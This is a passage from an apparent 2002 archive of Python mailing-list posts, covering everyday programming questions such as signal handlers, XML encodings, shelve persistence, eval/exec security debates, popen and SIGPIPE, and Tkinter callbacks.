DB style). Ensuring those sorts of things is quite different from "Robustifying Java" projects... -- (concatenate 'string "aa454" "@freenet.carleton.ca") http://www.cbbrowne.com/info/java.html "CANADA: 132 years in the same location! Open to serve you 24 hours per day, 7 days per week. Now with 3 Territories!" From phd at phd.pp.ru Tue May 28 04:31:26 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 28 May 2002 12:31:26 +0400 Subject: The email package and KLEZ mails In-Reply-To: <3cf33c82.91718234@News.CIS.DFN.DE>; from moc.q-dnan-p@p-nand-q.com on Tue, May 28, 2002 at 08:21:56AM +0000 References: <3cf33c82.91718234@News.CIS.DFN.DE> Message-ID: <20020528123126.E27752@phd.pp.ru> On Tue, May 28, 2002 at 08:21:56AM +0000, Gerson Kurz wrote: > I'm using the email module (new in Python 2.2) to analyze messages for > spam and HTML content. However, I get exceptions when analyzing KLEZ > generated mails, which is disappointing since I'm trying to filter > them in the first place. Klez is a carefully created virus. It sends mail that specifically targets Outofluck holes. Those mail messages are constracted in violation of RFCs, so you really cannot parse them with RFC-compliant tools :) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From noah at noah.org Fri May 10 23:44:29 2002 From: noah at noah.org (Noah) Date: Fri, 10 May 2002 20:44:29 -0700 Subject: How do I modify global variables from a signal handler? Message-ID: I have a signal handler. A signal is generated. My handler gets called. As a result of that signal I want to set some state somewhere. I cannot seem to set a global variable. After the signal handler is done the global variable is unchanged. My code looks like this: GLOBAL_SIGCHLD_RECEIVED = 0 def childdied (signum, frame): print 'Signal handler called with signal', signum GLOBAL_SIGCHLD_RECEIVED = 1 I know the signal handler gets called because it prints a message. This behavior isn't very surprising given the nature of signals and the fun state they can leave the stack. I assume that I have to do something with frame in the signal handler, but the use of frame is not documented -- nor is the use of Frame Objects as far as I can tell. Any hints? Yours, Noah From webmaster at apologetyka.com.pl Fri May 3 08:29:24 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Fri, 03 May 2002 14:29:24 +0200 Subject: FromXMLString wanted. References: Message-ID: On Wed, 1 May 2002 12:07:39 +0200 (MET DST), Doru-Catalin Togea wrote: >I am doing some pretty basic XML parsing using pyxml. My xml data >(not the tags) contains non-english characters. pyxml for ActiveState >Python 2.0 did not complain about that even when I did not provid an >opening line in the xml file stateing the encoding used, like: > > > >Strange, but true, and I could live with that. > >I have now upgraded to ActiveState Python 2.2, pyxml 0.7, and it complains >for the existence of non english characters, EVEN WHEN SPECIFYING THE >ENCODING, as above! Strange again, and unfortunatlly I can not live with >that. :-) Do your xml file open correctly in Internet Explorer 6.0? It has quite good parser. I am using xml.minidom for reading xml ant it works fine with non-English characters. Eg. from xml.dom import minidom xmlDoc = minidom.parse(myFilename) # the following depends on content of your file for myNode in xmlDoc.getElementsByTagName('myXmlTag'): print myNode.firstChild.data xmlDoc.unlink() -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From berger at versahb.rus.uni-stuttgart.de Tue May 7 09:27:35 2002 From: berger at versahb.rus.uni-stuttgart.de (Holger Berger) Date: Tue, 7 May 2002 13:27:35 +0000 (UTC) Subject: Benchmarking .NET against Python References: <%U2B8.33751$zk1.13151@news01.bloor.is.net.cable.rogers.com> Message-ID: In article <%U2B8.33751$zk1.13151 at news01.bloor.is.net.cable.rogers.com>, Warren Postma wrote: > I'm looking for information on any benchmarks that people might have done, > comparing the speed of "compiled" IL code in .NET versus Python. > > Has anyone done anything like this? > As I understood, benchmarking the prereleases of C# is not allowed by MS. German magazin c't offers some benchmarks (should be included in this .zip ftp://ftp.heise.de/pub/ct/listings/0204-098.zip) As I understood from the article, this zip contains sources for some little tests in C++, Java and C#, so you can compare if you have C#. I do not have it, so do not ask me to run the tests ;-) And of course, you have to implement them in python... regards Holger From big.john at bigfoot.com Wed May 22 10:24:14 2002 From: big.john at bigfoot.com (Johann =?ISO-8859-1?Q?H=F6chtl?=) Date: Wed, 22 May 2002 16:24:14 +0200 Subject: Add .par functionality (like Java .jar) Message-ID: <3CEBAA0E.20006@bigfoot.com> As SourceForge doesn't allow to add a featur erequest without beeing logged in, i post it here: Summary:Add .par functionality (like Java .jar) Detailed Description: This feature would make people extremely happy to be able to download a single file, double-klick (either on windows or gnome/kde) and see what python can do for them. (Assuming, that a python interpreter is installed) PEP 273 does only adress loading modules from a zip file, not the actual bootstraping of the application. The pypar project is aiming into the right direction ... http://sourceforge.net/projects/pypar/ From wurmy at earthlink.net Mon May 27 12:42:40 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Mon, 27 May 2002 16:42:40 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> Message-ID: <3CF2631F.85A9C234@earthlink.net> Alexander Schmolck wrote: > Of course using eval or exec is usually not a good idea, because it creates a > huge security risk -- A better approach would be to parse the expression or at > least make sure it only contains harmless things before you exec/eval it. I don't know why this "security risk" comes up all the time... security is only at stake if you execute or evaluate a string from an unknown or untrusted source. Most of the time, this will not be the case. If you use eval/exec with a string you made yourself, there's no more risk than, say, importing a module, or calling an object's method. (For some reason, I don't hear people say, "don't use import, it's a security risk, the module might have been magically changed and do something unintended now".) Whether use of exec and eval is _necessary_ or whether it's good programming style is a different bowl of soup, of course. -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From iwaters at btclick.com Mon May 20 10:02:31 2002 From: iwaters at btclick.com (ian) Date: Mon, 20 May 2002 15:02:31 +0100 Subject: finding a substring Message-ID: hi im writing the a spam checking routine for my mail server and i having basic problems checking for a sub string in the message the MESSAGE var is a line from a socket and the line var is a line from a file the routine wont find any substrings any help would be great cheers print "Checking against spam file" sfile = file('spam.txt','r',1024) while 1: line = sfile.readline(1024) if line == '':break else: print MESSAGE errorval = MESSAGE.find(line) print str(errorval) if errorval == -1: print "Message OK" else: print "Message not OK" print line sfile.close() From carel.fellinger at iae.nl Thu May 23 20:58:26 2002 From: carel.fellinger at iae.nl (Carel Fellinger) Date: Fri, 24 May 2002 02:58:26 +0200 Subject: Emulating Pascal input In-Reply-To: References: Message-ID: <20020524005826.GA7703@schaduw.felnet> On Thu, May 23, 2002 at 08:33:19PM +0000, Bengt Richter wrote: ...snipped problem statement > ISTM the key problem is that you are asking for type-driven input, > but not wanting to tell Python about it explicitly. You visualize > typed Pascal variables being filled with numeric values taken from > an input character sequence according to their type, but a Python > 'variable' is just a name. There is no static type associated with > a name. You have to go to the value object it refers to to get any Right, so the only solution is to supply the needed info:) Pascal does this by typing vars, in Python one can't do the same, but if you're willing to list the types you want to the readln function, you can hide most of the perceived ugliness. like: >>> def readln(from, *types, seperator=None): ... for t,s in zip(types, from.readline(seperator).split()): ... yield t(s) ... >>> readln(sys.stdin, int, int, seperator=",") 123, 12 [123, 12] >>> readln(sys.stdin, int, int) 123 12 [123, 12] >>> readln(sys.stdin, int, float) 123 12 [123, 12.0] Ofcourse the above readln is minimalistic, but it's easy to enhance it: def readln(from, *types, seperator=None): line = from.readline() for t in types: try: yield line[:t] line = line[t:] except TypeError: line = line.split(seperator, 1) v, line = line[0], (line[1:] or [""])[0] yield t(v) now you can even read fixed lengths strings:) >>> readln(sys.stdin, 4, float) 12 21 ['12 2', 1.0] ofcourse the above funtion still needs a lot of work, especially if you want to mimic Pascal's willingness to read more then one line whilst scanning for integer's and/or real's. From James_Althoff at i2.com Wed May 15 18:52:21 2002 From: James_Althoff at i2.com (James_Althoff at i2.com) Date: Wed, 15 May 2002 15:52:21 -0700 Subject: OT: Crazy Programming Message-ID: [James J. Besemer] |admit was OK and some of it was absolutely fabulous. It's especially |curious to see the various Elvis and Beatles songs that are pretty |direct rip offs from Hank Williams. Yep. If you can't dig Hank, you got a hole in your soul! Jim From marklists at mceahern.com Tue May 7 19:45:52 2002 From: marklists at mceahern.com (Mark McEahern) Date: Tue, 7 May 2002 18:45:52 -0500 Subject: Whats so good about Python? In-Reply-To: <20020507193805.B16168@eecs.tufts.edu> Message-ID: [Michael Gilfix] > Better yet, why doesn't someone just write the Python vs. Perl FAQ? > It'll be a good advertiser for the community and then we can avoid these > threads by just pointing people at a URL. The first hit to this search: http://www.google.com/search?hl=en&q=python+vs+perl is, lo and behold: http://www.python.org/doc/Comparisons.html#perl Cheers, // mark From python at conquered.org Fri May 3 11:44:15 2002 From: python at conquered.org (Luis) Date: Fri, 3 May 2002 09:44:15 -0600 Subject: Python OR Zope class in El Paso, Las Cruces, Juarez area Message-ID: <007601c1f2b9$7374cab0$3a600a0a@LUISLAPTOP> Hello, I am an instructor at New Horizons El Paso and I wanted to see if there was any interest in a Zope or Python class in the El Paso TX /Las Cruces NM /Juarez Mex area. I have 6 years software engineering experience and would like to teach either course IF there are people interested. If YOU are, please zap me an email and cc: jessej at nh-elpaso.com and let us know! Thanks, Luis. -------------- next part -------------- An HTML attachment was scrubbed... URL: From aleax at aleax.it Tue May 7 17:58:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 7 May 2002 23:58:48 +0200 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> Message-ID: <02050723584800.09434@arthur> On Tuesday 07 May 2002 21:28, Bjorn Pettersen wrote: ... > +1 if it also prints 2 as the result of the last expression below (and > if it remains 2 after I close and re-open the shelve): > >>> import shelve > >>> s = shelve.open('ciao','c') > >>> class Foo: > > ... def __init__(self, x): > ... self.x = x > ... > > >>> class Bar: > > ... def __init__(self, y): > ... self.y = y > ... > > >>> s['bye'] = Foo(Bar(1)) > >>> s['bye'].x.y = 2 > >>> s['bye'].x.y > > 1 > > > Seems like a "real" OODBMS might be the only thing that would count as > unsurprising in this case though? That's what I see using my patch (corrected for a bug after I posted it to sf): [alex at lancelot Lib]$ python Python 2.2.1 (#1, Apr 15 2002, 17:55:14) [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import shelve >>> s=shelve.open('ciao','c',smart=1) >>> class Foo: ... def __init__(self, x): self.x=x ... >>> class Bar: ... def __init__(self, y): self.y=y ... >>> s['bye']=Foo(Bar(1)) >>> s['bye'].x.y=2 >>> s['bye'].x.y 2 >>> s.close() >>> s=shelve.open('ciao','c',smart=1) >>> s['bye'].x.y 2 >>> Alex From grante at visi.com Thu May 23 13:57:27 2002 From: grante at visi.com (Grant Edwards) Date: Thu, 23 May 2002 17:57:27 GMT Subject: Python in a 386 computer References: Message-ID: In article , rvertulo wrote: > Is it possible to run python in a 386 computer? Sure. Install Linux or one of the BSDs and you're set. Most linux distros come with Python installed by default. It'll be a bit slow compared to a 1.3GHz box... -- Grant Edwards grante Yow! I put aside my at copy of "BOWLING WORLD" visi.com and think about GUN CONTROLlegislation... From steve at lurking.demon.co.uk Tue May 28 07:14:05 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 28 May 2002 12:14:05 +0100 Subject: Thought on PEP 204 and 276 References: Message-ID: Replying to the main replies... On Mon, 27 May 2002 15:45:28 -0500, Gustavo Cordova wrote: >class _Ints: > def __init__(self): pass > def __getitem__(self, range): > if type(range) != SliceType: > raise ValueError("The range must be a slice!") > return xrange(range.start, range.stop, range.step) I'll admit that I didn't think of that, but Ints[a:b:c] has no advantage over range(a,b,c). The real issue is not... for i in range(10) : but... for i in range(len(list)) : and other, even longer, expressions where the range becomes annoying. While 'annoying' is subjective, it's a common enough view to have given rise to a number of PEPs so it's not just me. On 27 May 2002 22:11:02 +0200, Chris Liechti wrote: >but all those don't make a real imprevement (some would say the would make >the language worse). For most of the 'additional' cases, I agree - which is why I said 'KISS' - but the basic case is as clear as slices yet more concise. It does duplicate range, but sometimes 'more concise' means 'more readable'. >and in the end, >>> import this: "explicit is better than implicit" In general I agree, but the only language that is fully explicit is XML. I kind of like the idea of XML as an intermediate language, or as markup for a 'rich' source language requiring a specialist editor, but not as directly edited source code. If 'explicit is better than implicit' for ranges, why not for slices? - we could easily have an explicit slice function, yet an implicit notation was used instead. >what would be more useful is the ability to write >different open/closed itervals, such as 0 range(1,8). I've seen that and in some ways I like it, but if support for open and closed ranges is needed, then limiting it purely to for loops seems a little odd. I'd suggest having a couple of range-like library functions, 'inclusive' and 'exclusive' (or similar) to support these requirements, especially as the most common case will be a replacement for the basic... for i in range(1, 10) : which can become... for i in inclusive (1, 9) : or... for i in exclusive (0, 10) : with no problem at all. It's also more explicit than your idea ;-) Finally, it fits in better with the existing 'range' and 'zip', and the soon-to-arrive 'enumerate'. On Mon, 27 May 2002 21:33:47 +0200, holger krekel wrote: >The reasoning in PEP 276 is IMO somewhat superseded by PEP279 (enumerate). >For example in PEP276 this code is given: The only things I'm not sure I like about enumerate are... - the name (admittedly I can't think of a better one, especially not after reading the PEP) - it's not immediately obvious to people used to using more traditional for loops. Mention it in the tutorial where the for loop is introduced and I guess those minor problems disappear. -- Steve Horne steve at lurking.demon.co.uk From keichwa at gmx.net Thu May 9 03:27:35 2002 From: keichwa at gmx.net (Karl Eichwalder) Date: Thu, 09 May 2002 09:27:35 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > Oh, being prevented from writing French identifiers correctly always > irritated me, for dozens of years now: this is a mild, yet permanent > irritation. You can try to make better use of Emacs. Write proper 8bit letters and at save time let Emacs convert them to a ASCII representation; loading file again Emacs should be able to decode it (several examples are available: TeX/LaTeX, PSGML). Not sure whether it's worth trying ;-) -- ke at suse.de (work) / keichwa at gmx.net (home): | http://www.suse.de/~ke/ | ,__o Free Translation Project: | _-\_<, http://www.iro.umontreal.ca/contrib/po/HTML/ | (*)/'(*) From donn at u.washington.edu Wed May 29 12:34:31 2002 From: donn at u.washington.edu (Donn Cave) Date: 29 May 2002 16:34:31 GMT Subject: Python 2.2.1: os.popen() bug? References: <3CF21645.C760B615@snakefarm.org> Message-ID: Quoth Michael Hudson : | "Donn Cave" writes: | | > If it had been for some reason writing to output, it would have | > gotten a SIGPIPE. | | Not sure about context, but Python ignores SIGPIPEs by default. So | this is probably not much use. Oops, thanks for catching that. I see a command process forked from python by popen() does inherit that behavior. So I guess it's just a bad idea to use popen(cmd, 'r') unless cmd can be relied on to terminate on its own. Unlike C popen(), the cmd process from a Python popen() will continue to write to its output unit forever, and python will wait forever, until someone aborts it externally. It won't be a common problem, only applies to applications that talk forever, like "ping" or "tail -f". In a case like that, one would want to defeat this questionable feature prior to popen(), e.g., signal.signal(signal.SIGPIPE, signal.SIG_DFL) Donn Cave, donn at u.washington.edu From m2 at plusseven.com Wed May 29 05:46:34 2002 From: m2 at plusseven.com (m2 at plusseven.com) Date: Wed, 29 May 2002 11:46:34 +0200 Subject: inbetween cPickle and MySQL Message-ID: <20020529094634.GB31649@matijek.plusseven.com> I need a simple way to store lots of simple objects (compsed of strings only). Right now I'm using cPickle, which means I have to read in the intire file to find all object.attribute == X. Since the file will get pretty this will consume a lot of memory. One option is to put the objects in a SQL DB (Don't mention ZODB, I don't like it.) but that is so much trouble. Speed is not an issue. >From my perl days I remeber some sort of "hash on a file"-thingy, that struck a middle ground between pickle and a full blow database. Is there anything like that in Python? -- Alex Polite From me at michaelbauers.com Tue May 28 23:52:43 2002 From: me at michaelbauers.com (Michael Bauers) Date: Tue, 28 May 2002 22:52:43 -0500 Subject: Tkinter question Message-ID: The online docs had a code snippet that was not working as shown. I had to remove the 'event' parameter from the callback 'cb'. Did I mess up, or is this a matter of version differences between the doc, and Python 2.2? def __init__(self, master): self.var = IntVar() c = Checkbutton(master, text="Enable Tab", variable=self.var, command=self.cb) c.pack() def cb(self, event): print "variable is", self.var.get() From ajs at ix.netcom.com Wed May 1 11:11:46 2002 From: ajs at ix.netcom.com (Arthur Siegel) Date: Wed, 1 May 2002 11:11:46 -0400 Subject: PEP 285: Adding a bool type Message-ID: <000c01c1f122$83606800$0334fea9@carol> >From some code of mine: (colors is an x by 3 Numeric array): u = 0 in [colors[0] == c for c in colors] if u: etc, etc, else: etc, etc. Let's assume its bad code in the sense of not being the best way of accomplishing what I am trying to accomplish. But it seems to work, it took me long enough to figure it out, and once I got to something that seemed to work, I was content to go on. Happens to be in an export routine and is essentially performance non-sensitive. There are 2 possibilities: 1) this will break under the bool implementation. or the one I suspect to be true: 2) this will continue to work under the bool implementation. The problem with possibility 1 is obvious. The problem with 2 is also pretty obvious. To the extent the boolean PEP is concerned about suggesting a standard way of doing something but not enforcing it, it defeats its own purpose. The practical effect is that someone new to Python will never be forced to confront the 0 = false idiom, and will mystified by code (and if 2. above is true, I am confident that will be common) that is written by folk who choose not to conform to it. The trade-off between these concerns and the milli-second recognition factor mentioned in the PEP is clear, IMO. And the line of thinking as to novices continues to concern me. How many novices trip up on '=' versus '= ='. A usability study - depending on how it is conducted - could well conclude that some change is necessary. The interpreter needs to determine the context of the = and act accordingly. Is this where we are going? Holding out the ever present possibility that I am missing something essential here, I am a -1. Art From tdelaney at avaya.com Thu May 30 19:11:16 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 09:11:16 +1000 Subject: matching one time through a loop Message-ID: > From: Corey G. [mailto:ctgaff at attbi.com] > > This comment made me realize just how little I know about > Python. Well, > it's only been 3 days now, but none the less. > > By moving the regex out of the loop and only compiling it once, the > script is 3x faster than before and now out performs my original Perl > script. This needs to be added to the comparisons page ;) Tim Delaney From jb at cascade-sys.com Fri May 3 12:35:28 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 03 May 2002 09:35:28 -0700 Subject: Zombie Threads (?) Message-ID: <3CD2BC50.FBAAE423@cascade-sys.com> I'm using threads in Python on Linux. It's a dynamic application so threads are freely created and eventually terminate. When I run PS I notice that there are a number of threads with a Zombie status. I know that with forked sub processes, the OS keeps the children around until the parent waits. For Apps that use forking -- there's a hack where you insert an additional level of forking, so that the spawned children have no direct parent and are cleaned up automatically by the OS. Is there an analogous trick with Python threading on Linux? Or does Python do something to minimize the number of zombie threads. REgards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From peter at engcorp.com Sat May 4 23:20:07 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 04 May 2002 23:20:07 -0400 Subject: Slight irritation with try/finally indentation References: Message-ID: <3CD4A4E7.DD73F2C0@engcorp.com> Ken Seehof wrote: > > Hmm. This thread reminds me of the brilliant solution to the > very serious :-) lack of begin and end block markers for python: > > if x: > #begin > for j in range(4): #{ > f(j); > #} > #endif Sorry, Ken, but you messed up your indentation: if x: #begin for j in range(4): #{ f(j); #} #endif Phew... good thing I caught it! -Peter P.S.: I don't want to start an indentation flame-war, but then again, it's been a while since we had one... ;-) From fperez528 at yahoo.com Thu May 2 19:03:35 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 02 May 2002 17:03:35 -0600 Subject: Is there a way to 'mask out' inherited methods? References: Message-ID: Ralf Juengling wrote: > > Hi, > > I'm fiddling around with some new 2.2.-features. I want to > inherit from a builtin-type but want to use only a subset > of its functionality: Simple example: In [13]: class mystr(str): ....: def __str__(self): ....: return ' ' ....: def __meaningless(*args,**kw): ....: raise NotImplementedError,'feature meaningless' ....: __hash__ = __ne__ = __meaningless ....: In [14]: s=mystr('hi') In [15]: s Out[15]: 'hi' In [16]: print s In [17]: s.__hash__ -------> s.__hash__ () --------------------------------------------------------------------------- NotImplementedError Traceback (most recent call last) ? ? in __meaningless(*args=('hi',), **kw={}) NotImplementedError: feature meaningless cheers, f. From rnd at onego.ru Tue May 21 04:29:06 2002 From: rnd at onego.ru (Roman Suzi) Date: Tue, 21 May 2002 12:29:06 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <3CE9C04F.3AD43103@alcyone.com> Message-ID: Maybe we try to use quantitative arguments? Are there any suggestions for small benchmarks: we can use set-0.2 to see real efficiency (or lack of), etc. Any nice/classic set-using problems around? Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From phd at phd.pp.ru Tue May 28 03:58:52 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 28 May 2002 11:58:52 +0400 Subject: Newbie: sendmail / subject woes In-Reply-To: <3CF351D2.9000509@uni-muenster.de>; from melis@uni-muenster.de on Tue, May 28, 2002 at 09:45:54AM +0000 References: <3CF351D2.9000509@uni-muenster.de> Message-ID: <20020528115852.C27752@phd.pp.ru> On Tue, May 28, 2002 at 09:45:54AM +0000, melis wrote: > sendmail (from_addr, to_addr, msg[,mail_options,rcpt_options]) > > Where do i specify the subject of the mail ? SMTP transport and message it carries are two different things. You specify Subject in the headers of your message, not at the SMTP level. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From gupsgrotto at no-spam.netscape.net Thu May 30 11:00:00 2002 From: gupsgrotto at no-spam.netscape.net (grant) Date: Thu, 30 May 2002 15:00:00 GMT Subject: widget needed which widget set provides it? References: Message-ID: On Thu, 30 May 2002 01:04:41 -0700, Nagy Gabor wrote: > Hi! I'd like to have a widget, just like the location bar of current web > browsers: a combobox, that folds down automatically when the user starts > typing in it, and as he types further, the list of available selections > is filtered according the pattern he's given. > > I simply want the user to be able to choose one from tens or hundreds of > names, or to add a new one, and location bars seem to be a very > convenient way to do this. > > I always used TkInter so far (not too many times though), and now I > checked python megawidgets, but they do not provide this widget. > > Which other widget set do you suggest? > > It has to run on unices and windows of course. > > Regards > Gee Give wxpython a look. It has tons of widgets and super easy to port from windows to linux. Follows OOP very nicely to subclassing widgets helps make the code easier to read.... :) From theller at python.net Fri May 17 13:54:08 2002 From: theller at python.net (Thomas Heller) Date: Fri, 17 May 2002 19:54:08 +0200 Subject: How to call another file References: <83r8kbw5f6.fsf@panacea.canonical.org> <77850380B97D3D89.015A3084C891C287.2096BE53E22167DB@lp.airnews.net> <83vg9mu0fn.fsf@panacea.canonical.org> Message-ID: "Kragen Sitaker" wrote in message news:83vg9mu0fn.fsf at panacea.canonical.org... > claird at starbase.neosoft.com (Cameron Laird) writes: > > Or not. Most Windows users can write > > import os > > os.system("notepad") > > os.system("start mypage.html") > > Depending on the installation of SAS, it might be at least > > as easy, in a superficial way, to invoke it under Windows > > as under Unix. > > I thought about "start"; unfortunately, it runs stuff in the > background and returns immediately, which is not what the OP wanted. > That's where the /WAIT switch is for, available on win2k at least: os.system("start /WAIT mypage.html") At the command prompt enter 'help start' for more information. Thomas From reply at in_newsgroup.tks Sun May 26 14:38:00 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 26 May 2002 18:38:00 GMT Subject: How should I dynamically generate html tables? References: Message-ID: "Mark McEahern" wrote in news:mailman.1022369624.25499.python-list at python.org: > Re: subject > > This essay, written almost 3 years ago by Guido, was very helpful for me: > > http://www.python.org/doc/essays/ppt/sd99east/ > > In particular, check out the faq wizard case study: > > http://www.python.org/doc/essays/ppt/sd99east/sld063.htm > > Cheers, > > // mark Thanks for your post. The above presentation appears to provide a small piece of the puzzle i.e. about using persistent data stored in "plain files". I like Guido's comment about storing persistent data "In a real database (if you must)" ;-) When the "plain file" is actually a CSV file, as in my case, and each line (record) contains data 'fields', then I need to know how to parse(?) the file correctly in order to match each field of a single record to the correct location in a HTML table template. FYI, here is one record from my CSV file. Just pretend it's not wrapped :) GnuPG,"Encryption .",1.0.6,"Mac, Nix, Win32",GPL,690KB,2002/05/10,http://www.gnupg.org/,"GnuPG is a popular implementation of OpenPGP http://www.openpgp.org/ . If you want encrypted, non-repudiatable (is that a word?!) electronic communications then look no further! GUI frontends/plugins have been created for various platforms if you balk at using the command-line (or want to increase your productivity!) but I suggest that you create your private key directly within GnuPG. After reading recent online discussions, I recommend that you generate encryption keys not less than 2048 bits." As per my initial post, I currently perform a MS Word 'catalog mail merge' between an RTF file (actually a HTML table) and my CSV file. Here is the HTML table in question:




   ?CATEGORY?
?NAME? License: ?LICENSE?

?COMMENTS?


Website: ?WEBSITE?
Download Size: ?SIZE?
Platforms: ?OS?
Version I Use: ?VERSION_I_USE?
Record Updated: ?RECORD_UPDATED?
I then copy the merge's resulting multiple html tables text to my freesoft.html file, overwritting the previous right div column's content and manually update my software category's menu in the left div column, if any categories have been added or deleted. The current page is here: http://www.geocities.com/scrumpyshangout/freesoft.html I forsee the process of automatically generating my webpage as something like this: 1/ All the top static html down to my left and right div columns can be added to a new freesoft.html file. 2/ The CSV file is then parsed and, one by one, each record's data is merged with a table and appended to a right div column in the freesoft.html file. 3/ During parsing, each record's software "Category" field's data (string) is stored in a temp file. 4/ Once all records have been merged, the Category temp file is then processed. Duplicated strings are deleted and then a left div column menu is generated and appended to the freesoft.html file. 5/ Finally the bottom, static html is appended to, and completes the freesoft.html file. THE END ;-) With my current free Geocities site, I'll have to run the above steps on my home PC and then manually upload the freesoft.html to my site. Finally on my third attempt, I think I've correctly explained what I'm trying to achieve. That's if you've read this far! Sorry :) If anyone can point me in the right direction to be able to complete the above process, I'd be very grateful. For this particular task, do you think I'm best served using Python or PHP? I don't mind learning some PHP just for this type of thing if it's easier! My main aim for the future though is to learn a scripting language to create GUI apps, large web apps etc. Thanks again, Scrumpy :) From the-me-nntp at gmx.net Tue May 14 15:40:22 2002 From: the-me-nntp at gmx.net (Axel Bock) Date: Tue, 14 May 2002 21:40:22 +0200 Subject: zope python: recollection error: unknown symbol "atexit" Message-ID: hello, i recently tried to install python binary on a linux machine. the included python interpreter always quit with the errormsg "recollection error: unkown symbol: atexit" it wouldnt even start manually. the failure was in zope versions 2.5.1b1, ...b2, 2.5.1, 2.4.4. replacing the python binary with a link to my installed version (2.2) did no good - zope compiled this time, but zope start aborted with the same error. can anybody help? i need linux zope for my studying thesis and i'm pretty "upset" right now ... :-)) thanks in advance and greetings, axel. From BPettersen at NAREX.com Thu May 16 14:51:51 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Thu, 16 May 2002 12:51:51 -0600 Subject: Unicode File I/O Grief Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E6A@admin56.narex.com> > From: Dale Strickland-Clark [mailto:dale at riverhall.NOTHANKS.co.uk] > > I simply want to do the following: > > file('C:\\odd.txt', 'wb').write(ucString) > > ...so that I can examine the contents of this (rather long) > Unicode string in an editor. > > Can I write it to a file? I'm far from a Unicode expert, but I believe you need to say ucString.encode(), optionally passing which encoding you want. -- bjorn From tjreedy at udel.edu Wed May 1 10:09:41 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 01 May 2002 14:09:41 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> <876628nl28.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" wrote in message news:876628nl28.fsf at tleepslib.sk.tsukuba.ac.jp... > Laura> You want us to change our societal norms and our entire > Laura> process for your sake. You want to make c.l.p a place > Laura> where people do not post for fear of _wasting your time_. > > I think this is rather unfair. I agree that this is the _effect_ of > this typically American form of behavior. And what will be the effect of this typically European form of stereotyping [;-)]? TJR From peter at engcorp.com Thu May 9 00:58:22 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 00:58:22 -0400 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <3CD955A1.43AE9120@jpl.nasa.gov> <3CD95C96.C239065F@ingenta.com> Message-ID: <3CDA01EE.F9ABAB6D@engcorp.com> Christopher Myers wrote: > > try: > num=string.atoi(str) > except ValueError: > try: > num=string.atof(str) > except: > num=str > > if type(num) == type(1.0): > print "Do float stuff in here" > elif type(num) == type(1): > print "Do int stuff in here" > else: > print "Value does not convert to a number" > > I'd be very interested to see if there's a simpler way, though. Well, this would probably be as useful in most situations, since the need to differentiate types that carefully is probably rare: try: num = float(str) print 'Do generic number stuff here' except ValueError: print "Value not a number" Obviously you know you could do that, since you were able to come up with the more complex version above. My point is merely that it is unlikely anything so complex would often be necessary, so the "simpler way" is perhaps just this little version. -Peter From peter at engcorp.com Thu May 30 22:09:00 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 22:09:00 -0400 Subject: Time in python References: <3cf6495d_1@news.iprimus.com.au> <3CF6D087.DB6CF4D8@bellatlantic.net> Message-ID: <3CF6DB3C.731E1DD@engcorp.com> David Lees wrote: > > Gold Fish wrote: > > > > Can anyone tell me how we seperate the time in the file name in python. > > For example > > python.txt 28/05/02 06:25 > If you are asking about text processing for a particular type of output, > how about: > > >>> x ='python.txt 28/05/02 06:25' > >>> string.split(x)[2] > '06:25' And hope that there are no spaces in the file name.... ;-) >>> x = 'name with space.txt 28/05/02 06:25' >>> x.split(' ')[2] # brittle 'space.txt' >>> x.split(' ')[-1] # better '06:25' >>> x[x.rfind(' ') + 1 : ] # kind of ugly '06:25' -Peter From pinard at iro.umontreal.ca Wed May 1 10:50:25 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 01 May 2002 10:50:25 -0400 Subject: Why do class methods share mutable defaults between instances? In-Reply-To: <000701c1f094$00688380$8210a8c0@singularity> References: <000701c1f094$00688380$8210a8c0@singularity> Message-ID: [Ron Teeter] > It appears that mutable defaults in class methods are shared between > instances. Yes. This is a useful property. You may often take advantage of this. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From aahz at pythoncraft.com Mon May 20 14:37:07 2002 From: aahz at 